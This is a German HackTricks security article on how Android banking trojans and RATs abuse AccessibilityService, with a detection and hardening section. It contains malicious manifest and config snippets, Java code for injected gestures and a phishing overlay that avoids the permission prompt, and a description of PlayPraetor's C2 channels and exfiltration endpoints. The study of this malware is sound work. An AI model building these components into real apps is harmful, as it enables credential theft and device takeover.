Android Accessibility Service Abuse

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

AccessibilityService wurde geschaffen, um Benutzern mit Behinderungen zu helfen, mit Android-Geräten zu interagieren. Leider können dieselben leistungsstarken Automatisierungs-APIs (globale Navigation, Texteingabe, Gestenübertragung, Overlay-Fenster…) von Malware genutzt werden, um vollständige Fernsteuerung des Geräts ohne Root-Rechte zu erlangen.

Moderne Android-Banking-Trojaner und Remote-Access-Trojaner (RATs) wie PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda und viele andere folgen demselben Rezept:

  1. Den Opfer durch Social Engineering dazu bringen, einen bösartigen Accessibility-Dienst zu aktivieren (die BIND_ACCESSIBILITY_SERVICE-Berechtigung gilt als "hochriskant" und erfordert eine ausdrückliche Benutzeraktion).
  2. Den Dienst nutzen, um
  • jedes UI-Ereignis und jeden Text, der auf dem Bildschirm erscheint, zu erfassen,
  • synthetische Gesten (dispatchGesture) und globale Aktionen (performGlobalAction) einzufügen, um jede gewünschte Aufgabe zu automatisieren,
  • Vollbild-Overlays über legitimen Apps mit dem TYPE_ACCESSIBILITY_OVERLAY Fenstertyp zu zeichnen (kein SYSTEM_ALERT_WINDOW-Prompt!),
  • stillschweigend zusätzliche Laufzeitberechtigungen zu gewähren, indem auf die Systemdialoge im Namen des Opfers geklickt wird.
  1. Daten exfiltrieren oder On-Device-Fraud (ODF) in Echtzeit durchführen, während der Benutzer einen vollkommen normalen Bildschirm betrachtet.

Anfordern der Berechtigung

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Die begleitende XML definiert, wie der gefälschte Dialog aussehen wird:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Remote UI-Automatisierungsprimitive

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Mit nur diesen beiden APIs kann ein Angreifer:

  • Den Bildschirm entsperren, die Banking-App öffnen, durch den UI-Baum navigieren und ein Überweisungsformular absenden.
  • Jedes Berechtigungsdialogfeld akzeptieren, das erscheint.
  • Zusätzliche APKs über den Play Store-Intent installieren/aktualisieren.

Missbrauchsmuster

1. Overlay-Phishing (Credential Harvesting)

Ein transparenter oder undurchsichtiger WebView wird dem Fenster-Manager hinzugefügt:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Die Opfer geben ihre Anmeldeinformationen in das gefälschte Formular ein, während die Hintergrund-App dieselben Gesten empfängt – es wird niemals eine verdächtige "Über andere Apps zeichnen"-Aufforderung angezeigt.

Detailliertes Beispiel: der Abschnitt Accessibility Overlay Phishing auf der Tapjacking-Seite.

2. Betrugsautomatisierung auf dem Gerät

Malware-Familien wie PlayPraetor unterhalten einen persistierenden WebSocket-Kanal, über den der Betreiber hochrangige Befehle (init, update, alert_arr, report_list, …) ausgeben kann. Der Dienst übersetzt diese Befehle in die oben genannten niedrigstufigen Gesten und ermöglicht so in Echtzeit unbefugte Transaktionen, die leicht die mit diesem Gerät verbundene Multi-Faktor-Authentifizierung umgehen.

3. Bildschirmstreaming & Überwachung

Durch die Kombination der MediaProjection API mit einer RTMP-Clientbibliothek kann der RAT den Live-Framebuffer an rtmp://<c2>:1935/live/<device_id> übertragen, was dem Gegner perfekte situative Wahrnehmung verschafft, während die Accessibility-Engine die Benutzeroberfläche steuert.


PlayPraetor – Kommando- und Kontrollworkflow

  1. HTTP(S) Herzschlag – über eine fest codierte Liste iterieren, bis eine Domain mit POST /app/searchPackageName auf den aktiven C2 antwortet.
  2. WebSocket (Port 8282) – bidirektionale JSON-Befehle:
  • update – neue Konf/APKs pushen
  • alert_arr – Overlay-Vorlagen konfigurieren
  • report_list – Liste der angezielten Paketnamen senden
  • heartbeat_web – keep-alive
  1. RTMP (Port 1935) – Live-Bildschirm-/Video-Streaming.
  2. REST Exfiltration
  • /app/saveDevice (Fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (Bankanmeldeinformationen)

Der AccessibilityService ist die lokale Engine, die diese Cloud-Befehle in physische Interaktionen umwandelt.


Erkennung bösartiger Accessibility-Dienste

  • adb shell settings get secure enabled_accessibility_services
  • Einstellungen → Barrierefreiheit → Heruntergeladene Dienste – nach Apps suchen, die nicht aus dem Google Play stammen.
  • MDM / EMM-Lösungen können ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) durchsetzen, um sideloaded Dienste zu blockieren.
  • Analysieren Sie die laufenden Dienste:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Empfehlungen zur Härtung für App-Entwickler

  • Markieren Sie sensible Ansichten mit android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Kombinieren Sie setFilterTouchesWhenObscured(true) mit FLAG_SECURE, um Tap-/Overlay-Hijacking zu verhindern.
  • Erkennen Sie Overlays, indem Sie WindowManager.getDefaultDisplay().getFlags() oder die ViewRootImpl API abfragen.
  • Weigern Sie sich zu arbeiten, wenn Settings.canDrawOverlays() oder ein nicht vertrauenswürdiger Accessibility-Dienst aktiv ist.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks